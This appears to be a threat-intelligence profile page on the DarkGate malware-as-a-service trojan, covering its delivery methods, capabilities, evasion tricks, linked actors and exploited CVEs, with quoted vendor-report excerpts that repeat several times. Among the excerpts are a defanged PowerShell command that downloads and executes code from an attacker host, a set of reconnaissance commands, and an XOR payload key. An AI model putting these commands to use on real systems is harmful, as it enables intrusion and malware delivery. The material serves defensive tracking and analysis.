Loading malware…
DarkGate is a Windows malware-as-a-service family, most commonly characterized as a remote access trojan and loader, that has been active since at least 2018 and sold by the operator known as RastaFarEye. It is designed to provide full remote access to compromised systems while also serving as a delivery platform for additional payloads, making it useful both as a standalone intrusion tool and as an initial-access component in broader criminal operations, including ransomware attacks.
DarkGate has evolved through multiple versions and infection chains. Observed delivery methods include phishing emails, malicious PDF lures, Microsoft Excel attachments using remote template injection, MSI installers, XLL add-ins, VBS and JavaScript downloaders, Microsoft Teams social-engineering campaigns, SharePoint-hosted payloads, fake browser-update lures, and SEO-poisoning-related distribution. Several campaigns used legitimate interpreters or applications such as AutoIt or AutoHotKey as part of staged execution. Later variants also abused DLL sideloading, including use of a trojanized library loaded by the legitimate KeyScrambler application and other signed binaries.
The malware is heavily modular and supports a broad feature set. Documented capabilities include remote access, downloading and executing additional payloads, information stealing, browser-data theft, keylogging, and hidden virtual network computing functionality. DarkGate has also been associated with credential theft and with deployment chains leading to follow-on malware, cryptominers, and ransomware. Some reporting also links earlier DarkGate activity to cryptocurrency mining and ransomware-related functionality.
DarkGate employs multiple defense-evasion and execution techniques. These include process hollowing, in-memory PE loading, shellcode-based staging, custom encoding and encryption schemes, anti-analysis and anti-virtual-machine checks, security-product discovery, and logic to alter execution based on detected defensive software. It has been observed using hidden directories for installation artifacts, Startup-folder and Run-key persistence, and multiple User Account Control bypass techniques for privilege escalation. Some versions also used process injection and parent PID spoofing as part of stealth and execution control.
Operationally, DarkGate has been used by multiple cybercrime actors and has appeared in campaigns linked or adjacent to Black Basta activity, including Teams-based social engineering and large-scale phishing operations. It has also been tracked in campaigns that shifted from or resembled QakBot-era delivery tradecraft. Targeting has been broad rather than sector-exclusive, with observed victimization across numerous industries and especially significant activity against organizations in North America and Europe. Healthcare technology and telecommunications have been specifically noted among affected sectors in some 2024 campaigns.
DarkGate remains notable for rapid iteration, varied delivery chains, and its dual role as both a full-featured RAT and a malware delivery platform favored by financially motivated threat actors.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Additionally, the .URL files involved exploited CVE-2023-36025, a vulnerability in Windows SmartScreen. ... The vulnerability could allow an actor to bypass the SmartScreen defenses if a user clicked on a specially crafted .URL file or a hyperlink pointing to a .URL file. | Throughout the summer and fall of 2023, DarkGate entered the ring competing for the top spot in the remote access trojan (RAT) and loader category. It was observed in use by multiple cybercrime actors... DarkGate can be used to steal information and download additional malware payloads.
— Privilege Escalation using CVE-2021–1733 or Process Hollowing ... DarkGate attempts to escalate privileges in two ways. One method is using PsExec to obtain SYSTEM privileges(CVE-2021–1733), and the other method is the Process Hollowing method. | DarkGate is a malware that has been developed since 2017 and sold as Malware-as-a-Service. DarkGate supports attackers able to do malicious acts to victims listed below. — Remote Code Execution by Reverse Shell or Remote Desktop such as VNC and AnyDesk. — Data Exfiltration on saved files, browser cookies, or cached passwords. — Cryptocurrency Mining using XMRig — Privilege Escalation using CVE-2021–1733 or Process Hollowing — Persistence Management for DarkGate itself
CISA noted that the vulnerability can be chained with CVE-2024-21412 during attacks... CVE-2024-21412 was used as part of a DarkGate campaign that leveraged fake software installers impersonating Apple’s iTunes, Notion, NVIDIA and more. | “CVE-2024-21412 was used as part of a DarkGate campaign that leveraged fake software installers impersonating Apple’s iTunes, Notion, NVIDIA and more. Microsoft Defender SmartScreen is supposed to provide additional protections for end users against phishing and malicious websites. However, as the name implies, these flaws bypass these security features, which leads to end users being infected with malware.”
13 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Throughout the summer and fall of 2023, DarkGate entered the ring competing for the top spot in the remote access trojan (RAT) and loader category. It was observed in use by multiple cybercrime actors... DarkGate can be used to steal information and download additional malware payloads.
Cardinal has since resumed attacks and now appears to have switched to working with the operators of the DarkGate loader to obtain access to potential victims.
First discovered in 2018, DarkGate is a Remote Access Trojan (RAT) that enables attackers to fully compromise victim systems. The software is developed and sold as Malware-as-a-Service (MaaS) by an actor known as RastaFarEye on underground cybercrime forums.
DarkGate is a malware that has been developed since 2017 and sold as Malware-as-a-Service. DarkGate supports attackers able to do malicious acts to victims listed below. — Remote Code Execution by Reverse Shell or Remote Desktop such as VNC and AnyDesk. — Data Exfiltration on saved files, browser cookies, or cached passwords. — Cryptocurrency Mining using XMRig — Privilege Escalation using CVE-2021–1733 or Process Hollowing — Persistence Management for DarkGate itself
Specifically, our SOC frequently saw Black Basta sign Pikabot and Darkgate malware they used in phishing campaigns.
DarkGate is a malware that has been developed since 2017 and sold as Malware-as-a-Service. DarkGate supports attackers able to do malicious acts to victims listed below. — Remote Code Execution by Reverse Shell or Remote Desktop such as VNC and AnyDesk. — Data Exfiltration on saved files, browser cookies, or cached passwords. — Cryptocurrency Mining using XMRig — Privilege Escalation using CVE-2021–1733 or Process Hollowing — Persistence Management for DarkGate itself
34 distinct techniques documented for this family, organized by ATT&CK tactic.
This campaign delivered fake browser update requests to end users on their web browsers that dropped a DarkGate payload... Users who passed the traffic inspection would be redirected to a fake browser update.
The first decoded part results in the AutoIt.exe binary and the second part is an AutoIt script that will be named script.au3... CreateProcessA function is called to execute the AutoIt script using AutoIt.exe
powershell.exe -Command Invoke-Expression (Invoke-RestMethod -Uri hxxp://todayput[.]shop:8080/rkypqqyb)
The VBS in turn downloaded and executed several shell commands (cmd.exe)
Once this export is called, a blob of hex bytes is xor decoded to produce a Wscript command containing C2 information and filenames.
used curl to download and save an AutoIT script, and ran the downloaded AutoIT script with the downloaded AutoIT interpreter. The AutoIT script ran an embedded DarkGate
Darkgate has recently utilised XLL (Excel Add-in) files as part of the infection process. An XLL is essentially a DLL file that can be executed by Microsoft Excel. When opened, the XLL will automatically execute the xlAutoOpen export.
Agent Tesla has used process hollowing to create and manipulate processes through sections of unmapped memory by reallocating that space with its malicious code. APT-C-36 has used process hollowing to execute malware in the memory of legitimate processes. Astaroth can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code.
The content repeatedly describes malware and threat actors that 'bypass UAC,' 'perform UAC bypass,' or use specific Windows components such as fodhelper.exe, eventvwr.exe, sdclt.exe, CMSTPLUA COM interface, SilentCleanup, and registry hijacks to gain elevated privileges.
Once the malware obtains the two parts it decodes both using the same custom base64 approach... The content next to the saved 8 bytes buffer is read and a multi-byte XOR operation is performed against it using the buffer as a XOR key.
The threat actor injected a request to a domain they controlled that used .css steganography to conceal the malicious code.
The DLL side-loading technique is used here in order to execute a fake version of the dbgeng.dll DLL file.
This ZIP compressed file contained five Windows shortcut or LNK files trying to masquerade a PDF file using the double extension method, '.pdf.lnk'.
Agent Tesla has used process hollowing to create and manipulate processes through sections of unmapped memory by reallocating that space with its malicious code. APT-C-36 has used process hollowing to execute malware in the memory of legitimate processes. Astaroth can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code.
read encrypted data stored in the sqlite3.dll file into a buffer, decrypt it using XOR with the decryption key “ VzXLKSZE ”, and finally execute the decrypted payload
The .URL files involved exploited CVE-2023-36025, a vulnerability in Windows SmartScreen... The vulnerability could allow an actor to bypass the SmartScreen defenses if a user clicked on a specially crafted .URL file
The shell commands... copied curl.exe from system folder to this new directory, used the curl to download Autoit3.exe
Further examination using the Orca tool reveals that the CustomAction section executes the bz.CustomActionDll file
Processor information from the registry value HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Windows product ID from the registry value HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
systeminfo whoami net user <username> /domain ipconfig ping -n 1 <Domain Controller>
For the bot ID generation, DarkGate gathers five pieces of information: Computer name User name Processor information from the registry value HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Windows product ID from the registry value HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId Number of processors via API GetSystemInfo
357 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
183 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
A multi-stage loader delivered via VBS, AutoIt, shellcode, and an executor that decrypts and loads the final DarkGate payload. Advertised capabilities include Hidden VNC, Windows Defender exclusion, browser history stealing, reverse proxy, file manager, and Discord token stealing.
DarkGate is a Malware-as-a-Service loader with remote access trojan capabilities. The report describes reverse shell access, PowerShell execution, keylogging, Discord token theft, hidden VNC-based remote access, privilege escalation, persistence, dynamic API resolution, APC injection, environment detection, and HTTP-based obfuscated command-and-control communications.
RAT observé comme payload livré via ClickFix.
A remote access trojan used as a ClickFix-delivered payload for post-compromise activity including lateral movement, persistence, and data exfiltration.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.